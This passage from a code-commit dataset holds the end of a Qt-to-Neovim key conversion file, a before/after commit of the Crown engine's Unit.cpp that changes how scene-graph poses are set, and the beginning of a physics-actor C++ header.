\"Mouse\";\n\t\tbreak;\n\tcase QEvent::MouseButtonRelease:\n\t\tevType += \"Release\";\n\t\tbreak;\n\tcase QEvent::MouseMove:\n\t\tevType += \"Drag\";\n\t\tbreak;\n\tdefault:\n\t\treturn \"\";\n\t}\n\n\tQString inp = QString(\"<%1%2%3><%4,%5>\").arg(modPrefix(mod)).arg(buttonName).arg(evType).arg(pos.x()).arg(pos.y());\n\treturn inp;\n}\n\n\/**\n * Convert Qt key input into Neovim key-notation\n *\n * see QKeyEvent\n *\/\nQString InputConv::convertKey(const QString& text, int k, Qt::KeyboardModifiers mod)\n{\n\tif (specialKeys.contains(k)) {\n\t\treturn QString(\"<%1%2>\").arg(modPrefix(mod)).arg(specialKeys.value(k));\n\t}\n\n\tQChar c;\n\t\/\/ Escape < and backslash\n\tif (text == \"<\") {\n\t\treturn QString(\"<lt>\");\n\t} else if (text == \"\\\\\") {\n\t\treturn QString(\"<%1%2>\").arg(modPrefix(mod)).arg(\"Bslash\");\n\t} else if (text.isEmpty()) {\n\t\t\/\/ on macs, text is empty for ctrl+key and cmd+key combos (with or without alt)\n\t\tif (mod & ControlModifier || mod & CmdModifier) {\n\t\t\t\/\/ ignore ctrl, alt and cmd key combos by themselves\n\t\t\tQList<Qt::Key> keys = { Key_Control, Key_Alt, Key_Cmd };\n\t\t\tif (keys.contains((Qt::Key)k)) {\n\t\t\t\treturn QString();\n\t\t\t} else {\n\t\t\t\t\/\/ key code will be the value of the char (hopefully)\n\t\t\t\tc = QChar(k);\n\t\t\t}\n\t\t} else {\n\t\t\t\/\/ This is a special key we can't handle\n\t\t\treturn QString();\n\t\t}\n\t} else {\n\t\t\/\/ Key event compression is disabled, text has one char\n\t\tc = text.at(0);\n\t}\n\n\t\/\/ Remove SHIFT\n\tif (c.unicode() < 0x100 && !c.isLetterOrNumber() && c.isPrint()) {\n\t\tmod &= ~ShiftModifier;\n\t}\n\n\t\/\/ Remove CTRL empty characters at the start of the ASCII range\n\tif (c.unicode() < 0x20) {\n\t\tmod &= ~ControlModifier;\n\t}\n\n\t\/\/ Format with prefix if necessary\n\tQString prefix = modPrefix(mod);\n\tif (!prefix.isEmpty()) {\n\t\treturn QString(\"<%1%2>\").arg(prefix).arg(c);\n\t}\n\n\treturn QString(c);\n}\n\n} \/\/ Namespace\n<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Unit.h\"\n#include \"World.h\"\n#include \"Allocator.h\"\n#include \"Log.h\"\n#include \"UnitResource.h\"\n#include \"SceneGraphManager.h\"\n#include \"PhysicsGraphManager.h\"\n\nnamespace crown\n{\n\ntypedef Id CameraId;\ntypedef Id SpriteId;\n\nUnit::Unit(World& w, SceneGraph& sg, PhysicsGraph& pg, const UnitResource* ur, const Matrix4x4& pose)\n\t: m_world(w)\n\t, m_scene_graph(sg)\n\t, m_physics_graph(pg)\n\t, m_resource(ur)\n\t, m_num_cameras(0)\n\t, m_num_meshes(0)\n\t, m_num_sprites(0)\n{\n\t\/\/ Log debug info\n\tLog::d(\"Creating unit...\");\n\tLog::d(\"Num renderables       = %d\", ur->num_renderables());\n\tLog::d(\"Num cameras           = %d\", ur->num_cameras());\n\tLog::d(\"Num actors            = %d\", ur->num_actors());\n\tLog::d(\"Num scene graph nodes = %d\", ur->num_scene_graph_nodes());\n\n\tcreate(pose);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_id(const UnitId id)\n{\n\tm_id = id;\n}\n\n\/\/-----------------------------------------------------------------------------\nUnitId Unit::id()\n{\n\treturn m_id;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::create(const Matrix4x4& pose)\n{\n\t\/\/ Create the root node\n\tint32_t root_node = m_scene_graph.create_node(-1, pose);\n\tint32_t p_root_node = m_physics_graph.create_node(-1, pose);\n\n\t\/\/ Create renderables\n\tfor (uint32_t i = 0; i < m_resource->num_renderables(); i++)\n\t{\n\t\tint32_t node = m_scene_graph.create_node(root_node, Vector3::ZERO, Quaternion::IDENTITY);\n\n\t\tUnitRenderable renderable = m_resource->get_renderable(i);\n\n\t\tswitch (renderable.type)\n\t\t{\n\t\t\tcase UnitRenderable::MESH:\n\t\t\t{\n\t\t\t\tMeshId mesh = m_world.create_mesh(renderable.resource, m_scene_graph, node);\n\t\t\t\tadd_mesh(renderable.name, mesh);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase UnitRenderable::SPRITE:\n\t\t\t{\n\t\t\t\tSpriteId sprite = m_world.create_sprite(renderable.resource, m_scene_graph, node);\n\t\t\t\tadd_sprite(renderable.name, sprite);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tCE_FATAL(\"Oops, bad renderable type\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Create cameras\n\tfor (uint32_t i = 0; i < m_resource->num_cameras(); i++)\n\t{\n\t\tconst int32_t cam_node = m_scene_graph.create_node(root_node, Vector3::ZERO, Quaternion::IDENTITY);\n\n\t\tUnitCamera camera = m_resource->get_camera(i);\n\t\tCameraId cam = m_world.create_camera(m_scene_graph, cam_node);\n\t\t\n\t\tadd_camera(camera.name, cam);\n\t}\n\n\t\/\/ Create actors\n\tfor (uint32_t i = 0; i < m_resource->num_actors(); i++)\n\t{\n\t\tconst int32_t actor_node = m_physics_graph.create_node(p_root_node, Vector3::ZERO, Quaternion::IDENTITY);\n\t\tUnitActor actor = m_resource->get_actor(i);\n\t\tActorId actor_id = m_world.create_actor(m_physics_graph, actor_node, ActorType::DYNAMIC);\n\n\t\tadd_actor(actor.name, actor_id);\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::destroy()\n{\n\t\/\/ Destroy cameras\n\tfor (uint32_t i = 0; i < m_num_cameras; i++)\n\t{\n\t\tm_world.destroy_camera(m_cameras[i].component);\n\t}\n\n\t\/\/ Destroy meshes\n\tfor (uint32_t i = 0; i < m_num_meshes; i++)\n\t{\n\t\tm_world.destroy_mesh(m_meshes[i].component);\n\t}\n\n\t\/\/ Destroy sprites\n\tfor (uint32_t i = 0; i < m_num_sprites; i++)\n\t{\n\t\tm_world.destroy_sprite(m_sprites[i].component);\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\nVector3 Unit::local_position(int32_t node) const\n{\n\treturn m_scene_graph.local_position(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nQuaternion Unit::local_rotation(int32_t node) const\n{\n\treturn m_scene_graph.local_rotation(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nMatrix4x4 Unit::local_pose(int32_t node) const\n{\n\treturn m_scene_graph.local_pose(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nVector3 Unit::world_position(int32_t node) const\n{\n\treturn m_scene_graph.world_position(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nQuaternion Unit::world_rotation(int32_t node) const\n{\n\treturn m_scene_graph.world_rotation(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nMatrix4x4 Unit::world_pose(int32_t node) const\n{\n\treturn m_scene_graph.world_pose(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_position(int32_t node, const Vector3& pos)\n{\n\tm_scene_graph.set_local_position(node, pos);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_rotation(int32_t node, const Quaternion& rot)\n{\n\tm_scene_graph.set_local_rotation(node, rot);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_pose(int32_t node, const Matrix4x4& pose)\n{\n\tm_scene_graph.set_local_pose(node, pose);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::link_node(int32_t child, int32_t parent)\n{\n\tm_scene_graph.link(child, parent);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::unlink_node(int32_t child)\n{\n\tm_scene_graph.unlink(child);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_component(StringId32 name, Id component, uint32_t& size, Component* array)\n{\n\tComponent comp;\n\tcomp.name = name;\n\tcomp.component = component;\n\n\tarray[size] = comp;\n\tsize++;\n}\n\n\/\/-----------------------------------------------------------------------------\nId Unit::find_component(const char* name, uint32_t size, Component* array)\n{\n\tuint32_t name_hash = hash::murmur2_32(name, string::strlen(name), 0);\n\n\tId comp;\n\tcomp.id = INVALID_ID;\n\n\tfor (uint32_t i = 0; i < size; i++)\n\t{\n\t\tif (name_hash == array[i].name)\n\t\t{\n\t\t\tcomp = array[i].component;\n\t\t}\n\t}\n\n\treturn comp;\n}\n\n\/\/-----------------------------------------------------------------------------\nId Unit::find_component(uint32_t index, uint32_t size, Component* array)\n{\n\tId comp;\n\tcomp.id = INVALID_ID;\n\n\tif (index < size)\n\t{\n\t\tcomp = array[index].component;\n\t}\n\n\treturn comp;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_camera(StringId32 name, CameraId camera)\n{\n\tCE_ASSERT(m_num_cameras < MAX_CAMERA_COMPONENTS, \"Max camera number reached\");\n\n\tadd_component(name, camera, m_num_cameras, m_cameras);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_mesh(StringId32 name, MeshId mesh)\n{\n\tCE_ASSERT(m_num_meshes < MAX_MESH_COMPONENTS, \"Max mesh number reached\");\n\n\tadd_component(name, mesh, m_num_meshes, m_meshes);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_sprite(StringId32 name, SpriteId sprite)\n{\n\tCE_ASSERT(m_num_sprites < MAX_SPRITE_COMPONENTS, \"Max sprite number reached\");\n\n\tadd_component(name, sprite, m_num_sprites, m_sprites);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_actor(StringId32 name, ActorId actor)\n{\n\tCE_ASSERT(m_num_actors < MAX_ACTOR_COMPONENTS, \"Max actor number reached\");\n\n\tadd_component(name, actor, m_num_actors, m_actors);\n}\n\n\/\/-----------------------------------------------------------------------------\nCamera* Unit::camera(const char* name)\n{\n\tCameraId cam = find_component(name, m_num_cameras, m_cameras);\n\n\tCE_ASSERT(cam.id != INVALID_ID, \"Unit does not have camera with name '%s'\", name);\n\n\treturn m_world.lookup_camera(cam);\n}\n\n\/\/-----------------------------------------------------------------------------\nCamera* Unit::camera(uint32_t i)\n{\n\tCameraId cam = find_component(i, m_num_cameras, m_cameras);\n\n\tCE_ASSERT(cam.id != INVALID_ID, \"Unit does not have camera with index '%d'\", i);\n\n\treturn m_world.lookup_camera(cam);\n}\n\n\/\/-----------------------------------------------------------------------------\nMesh* Unit::mesh(const char* name)\n{\n\tMeshId mesh = find_component(name, m_num_meshes, m_meshes);\n\n\tCE_ASSERT(mesh.id != INVALID_ID, \"Unit does not have mesh with name '%s'\", name);\n\n\treturn m_world.lookup_mesh(mesh);\n}\n\n\/\/-----------------------------------------------------------------------------\nMesh* Unit::mesh(uint32_t i)\n{\n\tMeshId mesh = find_component(i, m_num_meshes, m_meshes);\n\n\tCE_ASSERT(mesh.id != INVALID_ID, \"Unit does not have mesh with index '%d'\", i);\n\n\treturn m_world.lookup_mesh(mesh);\n}\n\n\/\/-----------------------------------------------------------------------------\nSprite*\tUnit::sprite(const char* name)\n{\n\tSpriteId sprite = find_component(name, m_num_sprites, m_sprites);\n\n\tCE_ASSERT(sprite.id != INVALID_ID, \"Unit does not have sprite with name '%s'\", name);\n\n\treturn m_world.lookup_sprite(sprite);\n}\n\n\/\/-----------------------------------------------------------------------------\nSprite*\tUnit::sprite(uint32_t i)\n{\n\tSpriteId sprite = find_component(i, m_num_sprites, m_sprites);\n\n\tCE_ASSERT(sprite.id != INVALID_ID, \"Unit does not have sprite with index '%d'\", i);\n\n\treturn m_world.lookup_sprite(sprite);\n}\n\n\/\/-----------------------------------------------------------------------------\nActor* Unit::actor(const char* name)\n{\n\tActorId actor = find_component(name, m_num_actors, m_actors);\n\n\tCE_ASSERT(actor.id != INVALID_ID, \"Unit does not have actor with name '%s'\", name);\n\n\treturn m_world.lookup_actor(actor);\n}\n\n\/\/-----------------------------------------------------------------------------\nActor* Unit::actor(uint32_t i)\n{\n\tActorId actor = find_component(i, m_num_actors, m_actors);\n\n\tCE_ASSERT(actor.id != INVALID_ID, \"Unit does not have actor with name '%d'\", i);\n\n\treturn m_world.lookup_actor(actor);\n}\t\n\n\n} \/\/ namespace crown\n<commit_msg>Use UnitResource data to set poses of objects<commit_after>\/*\nCopyright (c) 2013 Daniele Bartolini, Michele Rossi\nCopyright (c) 2012 Daniele Bartolini, Simone Boscaratto\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Unit.h\"\n#include \"World.h\"\n#include \"Allocator.h\"\n#include \"Log.h\"\n#include \"UnitResource.h\"\n#include \"SceneGraphManager.h\"\n#include \"PhysicsGraphManager.h\"\n\nnamespace crown\n{\n\ntypedef Id CameraId;\ntypedef Id SpriteId;\n\nUnit::Unit(World& w, SceneGraph& sg, PhysicsGraph& pg, const UnitResource* ur, const Matrix4x4& pose)\n\t: m_world(w)\n\t, m_scene_graph(sg)\n\t, m_physics_graph(pg)\n\t, m_resource(ur)\n\t, m_num_cameras(0)\n\t, m_num_meshes(0)\n\t, m_num_sprites(0)\n{\n\t\/\/ Log debug info\n\tLog::d(\"Creating unit...\");\n\tLog::d(\"Num renderables       = %d\", ur->num_renderables());\n\tLog::d(\"Num cameras           = %d\", ur->num_cameras());\n\tLog::d(\"Num actors            = %d\", ur->num_actors());\n\tLog::d(\"Num scene graph nodes = %d\", ur->num_scene_graph_nodes());\n\n\tcreate(pose);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_id(const UnitId id)\n{\n\tm_id = id;\n}\n\n\/\/-----------------------------------------------------------------------------\nUnitId Unit::id()\n{\n\treturn m_id;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::create(const Matrix4x4& pose)\n{\n\t\/\/ Create the scene graph\n\tm_scene_graph.create(m_resource->num_scene_graph_nodes(), m_resource->scene_graph_names(),\n\t\t\t\t\t\t\tm_resource->scene_graph_poses(), m_resource->scene_graph_parents());\n\n\tint32_t p_root_node = m_physics_graph.create_node(-1, pose);\n\n\t\/\/ Create renderables\n\tfor (uint32_t i = 0; i < m_resource->num_renderables(); i++)\n\t{\n\t\tUnitRenderable renderable = m_resource->get_renderable(i);\n\n\t\tswitch (renderable.type)\n\t\t{\n\t\t\tcase UnitRenderable::MESH:\n\t\t\t{\n\t\t\t\tMeshId mesh = m_world.create_mesh(renderable.resource, m_scene_graph, renderable.node);\n\t\t\t\tadd_mesh(renderable.name, mesh);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase UnitRenderable::SPRITE:\n\t\t\t{\n\t\t\t\tSpriteId sprite = m_world.create_sprite(renderable.resource, m_scene_graph, renderable.node);\n\t\t\t\tadd_sprite(renderable.name, sprite);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t{\n\t\t\t\tCE_FATAL(\"Oops, bad renderable type\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Create cameras\n\tfor (uint32_t i = 0; i < m_resource->num_cameras(); i++)\n\t{\n\t\tUnitCamera camera = m_resource->get_camera(i);\n\t\tCameraId cam = m_world.create_camera(m_scene_graph, camera.node);\n\n\t\tadd_camera(camera.name, cam);\n\t}\n\n\t\/\/ Create actors\n\tfor (uint32_t i = 0; i < m_resource->num_actors(); i++)\n\t{\n\t\tconst int32_t actor_node = m_physics_graph.create_node(p_root_node, Vector3::ZERO, Quaternion::IDENTITY);\n\t\tUnitActor actor = m_resource->get_actor(i);\n\t\tActorId actor_id = m_world.create_actor(m_physics_graph, actor_node, ActorType::DYNAMIC);\n\n\t\tadd_actor(actor.name, actor_id);\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::destroy()\n{\n\t\/\/ Destroy cameras\n\tfor (uint32_t i = 0; i < m_num_cameras; i++)\n\t{\n\t\tm_world.destroy_camera(m_cameras[i].component);\n\t}\n\n\t\/\/ Destroy meshes\n\tfor (uint32_t i = 0; i < m_num_meshes; i++)\n\t{\n\t\tm_world.destroy_mesh(m_meshes[i].component);\n\t}\n\n\t\/\/ Destroy sprites\n\tfor (uint32_t i = 0; i < m_num_sprites; i++)\n\t{\n\t\tm_world.destroy_sprite(m_sprites[i].component);\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\nVector3 Unit::local_position(int32_t node) const\n{\n\treturn m_scene_graph.local_position(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nQuaternion Unit::local_rotation(int32_t node) const\n{\n\treturn m_scene_graph.local_rotation(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nMatrix4x4 Unit::local_pose(int32_t node) const\n{\n\treturn m_scene_graph.local_pose(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nVector3 Unit::world_position(int32_t node) const\n{\n\treturn m_scene_graph.world_position(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nQuaternion Unit::world_rotation(int32_t node) const\n{\n\treturn m_scene_graph.world_rotation(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nMatrix4x4 Unit::world_pose(int32_t node) const\n{\n\treturn m_scene_graph.world_pose(node);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_position(int32_t node, const Vector3& pos)\n{\n\tm_scene_graph.set_local_position(node, pos);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_rotation(int32_t node, const Quaternion& rot)\n{\n\tm_scene_graph.set_local_rotation(node, rot);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::set_local_pose(int32_t node, const Matrix4x4& pose)\n{\n\tm_scene_graph.set_local_pose(node, pose);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::link_node(int32_t child, int32_t parent)\n{\n\tm_scene_graph.link(child, parent);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::unlink_node(int32_t child)\n{\n\tm_scene_graph.unlink(child);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_component(StringId32 name, Id component, uint32_t& size, Component* array)\n{\n\tComponent comp;\n\tcomp.name = name;\n\tcomp.component = component;\n\n\tarray[size] = comp;\n\tsize++;\n}\n\n\/\/-----------------------------------------------------------------------------\nId Unit::find_component(const char* name, uint32_t size, Component* array)\n{\n\tuint32_t name_hash = hash::murmur2_32(name, string::strlen(name), 0);\n\n\tId comp;\n\tcomp.id = INVALID_ID;\n\n\tfor (uint32_t i = 0; i < size; i++)\n\t{\n\t\tif (name_hash == array[i].name)\n\t\t{\n\t\t\tcomp = array[i].component;\n\t\t}\n\t}\n\n\treturn comp;\n}\n\n\/\/-----------------------------------------------------------------------------\nId Unit::find_component(uint32_t index, uint32_t size, Component* array)\n{\n\tId comp;\n\tcomp.id = INVALID_ID;\n\n\tif (index < size)\n\t{\n\t\tcomp = array[index].component;\n\t}\n\n\treturn comp;\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_camera(StringId32 name, CameraId camera)\n{\n\tCE_ASSERT(m_num_cameras < MAX_CAMERA_COMPONENTS, \"Max camera number reached\");\n\n\tadd_component(name, camera, m_num_cameras, m_cameras);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_mesh(StringId32 name, MeshId mesh)\n{\n\tCE_ASSERT(m_num_meshes < MAX_MESH_COMPONENTS, \"Max mesh number reached\");\n\n\tadd_component(name, mesh, m_num_meshes, m_meshes);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_sprite(StringId32 name, SpriteId sprite)\n{\n\tCE_ASSERT(m_num_sprites < MAX_SPRITE_COMPONENTS, \"Max sprite number reached\");\n\n\tadd_component(name, sprite, m_num_sprites, m_sprites);\n}\n\n\/\/-----------------------------------------------------------------------------\nvoid Unit::add_actor(StringId32 name, ActorId actor)\n{\n\tCE_ASSERT(m_num_actors < MAX_ACTOR_COMPONENTS, \"Max actor number reached\");\n\n\tadd_component(name, actor, m_num_actors, m_actors);\n}\n\n\/\/-----------------------------------------------------------------------------\nCamera* Unit::camera(const char* name)\n{\n\tCameraId cam = find_component(name, m_num_cameras, m_cameras);\n\n\tCE_ASSERT(cam.id != INVALID_ID, \"Unit does not have camera with name '%s'\", name);\n\n\treturn m_world.lookup_camera(cam);\n}\n\n\/\/-----------------------------------------------------------------------------\nCamera* Unit::camera(uint32_t i)\n{\n\tCameraId cam = find_component(i, m_num_cameras, m_cameras);\n\n\tCE_ASSERT(cam.id != INVALID_ID, \"Unit does not have camera with index '%d'\", i);\n\n\treturn m_world.lookup_camera(cam);\n}\n\n\/\/-----------------------------------------------------------------------------\nMesh* Unit::mesh(const char* name)\n{\n\tMeshId mesh = find_component(name, m_num_meshes, m_meshes);\n\n\tCE_ASSERT(mesh.id != INVALID_ID, \"Unit does not have mesh with name '%s'\", name);\n\n\treturn m_world.lookup_mesh(mesh);\n}\n\n\/\/-----------------------------------------------------------------------------\nMesh* Unit::mesh(uint32_t i)\n{\n\tMeshId mesh = find_component(i, m_num_meshes, m_meshes);\n\n\tCE_ASSERT(mesh.id != INVALID_ID, \"Unit does not have mesh with index '%d'\", i);\n\n\treturn m_world.lookup_mesh(mesh);\n}\n\n\/\/-----------------------------------------------------------------------------\nSprite*\tUnit::sprite(const char* name)\n{\n\tSpriteId sprite = find_component(name, m_num_sprites, m_sprites);\n\n\tCE_ASSERT(sprite.id != INVALID_ID, \"Unit does not have sprite with name '%s'\", name);\n\n\treturn m_world.lookup_sprite(sprite);\n}\n\n\/\/-----------------------------------------------------------------------------\nSprite*\tUnit::sprite(uint32_t i)\n{\n\tSpriteId sprite = find_component(i, m_num_sprites, m_sprites);\n\n\tCE_ASSERT(sprite.id != INVALID_ID, \"Unit does not have sprite with index '%d'\", i);\n\n\treturn m_world.lookup_sprite(sprite);\n}\n\n\/\/-----------------------------------------------------------------------------\nActor* Unit::actor(const char* name)\n{\n\tActorId actor = find_component(name, m_num_actors, m_actors);\n\n\tCE_ASSERT(actor.id != INVALID_ID, \"Unit does not have actor with name '%s'\", name);\n\n\treturn m_world.lookup_actor(actor);\n}\n\n\/\/-----------------------------------------------------------------------------\nActor* Unit::actor(uint32_t i)\n{\n\tActorId actor = find_component(i, m_num_actors, m_actors);\n\n\tCE_ASSERT(actor.id != INVALID_ID, \"Unit does not have actor with name '%d'\", i);\n\n\treturn m_world.lookup_actor(actor);\n}\t\n\n\n} \/\/ namespace crown\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <optional>\n\n#include \"Runtime\/Collision\/CCollidableAABox.hpp\"\n#include \"Runtime\/World\/CActor.hpp\"\n\n#include <zeus\/CAxisAngle.hpp>\n#include <zeus\/CQuaternion.hpp>\n#include <zeus\/CTransform.hpp>\n#include <zeus\/CVector3f.hpp>\n\nnamespace urde {\nclass CCollisionInfoList;\nstruct SMoverData;\n\nstruct SMoverData {\n  zeus::CVector3f x0_velocity;\n  zeus::CAxisAngle xc_angularVelocity;\n  zeus::CVector3f x18_momentum;\n  zeus::CAxisAngle x24_;\n  float x30_mass;\n\n  SMoverData(float mass) : x30_mass(mass) {}\n};\n\nstruct CMotionState {\n  zeus::CVector3f x0_translation;\n  zeus::CNUQuaternion xc_orientation;\n  zeus::CVector3f x1c_velocity;\n  zeus::CAxisAngle x28_angularMomentum;\n  CMotionState(const zeus::CVector3f& origin, const zeus::CNUQuaternion& orientation, const zeus::CVector3f& velocity,\n               const zeus::CAxisAngle& angle)\n  : x0_translation(origin), xc_orientation(orientation), x1c_velocity(velocity), x28_angularMomentum(angle) {}\n  CMotionState(const zeus::CVector3f& origin, const zeus::CNUQuaternion& orientation)\n  : x0_translation(origin), xc_orientation(orientation) {}\n};\n\nclass CPhysicsState {\n  zeus::CVector3f x0_translation;\n  zeus::CQuaternion xc_orientation;\n  zeus::CVector3f x1c_constantForce;\n  zeus::CAxisAngle x28_angularMomentum;\n  zeus::CVector3f x34_momentum;\n  zeus::CVector3f x40_force;\n  zeus::CVector3f x4c_impulse;\n  zeus::CAxisAngle x58_torque;\n  zeus::CAxisAngle x64_angularImpulse;\n\npublic:\n  CPhysicsState(const zeus::CVector3f& translation, const zeus::CQuaternion& orient, const zeus::CVector3f& v2,\n                const zeus::CAxisAngle& a1, const zeus::CVector3f& v3, const zeus::CVector3f& v4,\n                const zeus::CVector3f& v5, const zeus::CAxisAngle& a2, const zeus::CAxisAngle& a3)\n  : x0_translation(translation)\n  , xc_orientation(orient)\n  , x1c_constantForce(v2)\n  , x28_angularMomentum(a1)\n  , x34_momentum(v3)\n  , x40_force(v4)\n  , x4c_impulse(v5)\n  , x58_torque(a2)\n  , x64_angularImpulse(a3) {}\n\n  void SetTranslation(const zeus::CVector3f& tr) { x0_translation = tr; }\n  void SetOrientation(const zeus::CQuaternion& orient) { xc_orientation = orient; }\n  const zeus::CQuaternion& GetOrientation() const { return xc_orientation; }\n  const zeus::CVector3f& GetTranslation() const { return x0_translation; }\n  const zeus::CVector3f& GetConstantForceWR() const { return x1c_constantForce; }\n  const zeus::CAxisAngle& GetAngularMomentumWR() const { return x28_angularMomentum; }\n  const zeus::CVector3f& GetMomentumWR() const { return x34_momentum; }\n  const zeus::CVector3f& GetForceWR() const { return x40_force; }\n  const zeus::CVector3f& GetImpulseWR() const { return x4c_impulse; }\n  const zeus::CAxisAngle& GetTorque() const { return x58_torque; }\n  const zeus::CAxisAngle& GetAngularImpulseWR() const { return x64_angularImpulse; }\n};\n\nclass CPhysicsActor : public CActor {\n  friend class CGroundMovement;\n\nprotected:\n  float xe8_mass;\n  float xec_massRecip;\n  float xf0_inertiaTensor;\n  float xf4_inertiaTensorRecip;\n  union {\n    struct {\n      bool xf8_24_movable : 1;\n      bool xf8_25_angularEnabled : 1;\n    };\n    u8 _dummy = 0;\n  };\n  bool xf9_standardCollider = false;\n  zeus::CVector3f xfc_constantForce;\n  zeus::CAxisAngle x108_angularMomentum;\n  zeus::CMatrix3f x114_;\n  zeus::CVector3f x138_velocity;\n  zeus::CAxisAngle x144_angularVelocity;\n  zeus::CVector3f x150_momentum;\n  zeus::CVector3f x15c_force;\n  zeus::CVector3f x168_impulse;\n  zeus::CAxisAngle x174_torque;\n  zeus::CAxisAngle x180_angularImpulse;\n  zeus::CVector3f x18c_moveImpulse;\n  zeus::CAxisAngle x198_moveAngularImpulse;\n  zeus::CAABox x1a4_baseBoundingBox;\n  CCollidableAABox x1c0_collisionPrimitive;\n  zeus::CVector3f x1e8_primitiveOffset;\n  CMotionState x1f4_lastNonCollidingState;\n  std::optional<zeus::CVector3f> x228_lastFloorPlaneNormal;\n  float x238_maximumCollisionVelocity = 1000000.0f;\n  float x23c_stepUpHeight;\n  float x240_stepDownHeight;\n  float x244_restitutionCoefModifier = 0.f;\n  float x248_collisionAccuracyModifier = 1.f;\n  u32 x24c_numTicksStuck = 0;\n  u32 x250_numTicksPartialUpdate = 0;\n\npublic:\n  CPhysicsActor(TUniqueId, bool, std::string_view, const CEntityInfo&, const zeus::CTransform&, CModelData&&,\n                const CMaterialList&, const zeus::CAABox&, const SMoverData&, const CActorParameters&, float, float);\n\n  void Render(const CStateManager& mgr) const override;\n  zeus::CVector3f GetOrbitPosition(const CStateManager&) const override;\n  zeus::CVector3f GetAimPosition(const CStateManager&, float val) const override;\n  virtual const CCollisionPrimitive* GetCollisionPrimitive() const;\n  virtual zeus::CTransform GetPrimitiveTransform() const;\n  virtual void CollidedWith(TUniqueId, const CCollisionInfoList&, CStateManager&);\n  virtual float GetStepUpHeight() const;\n  virtual float 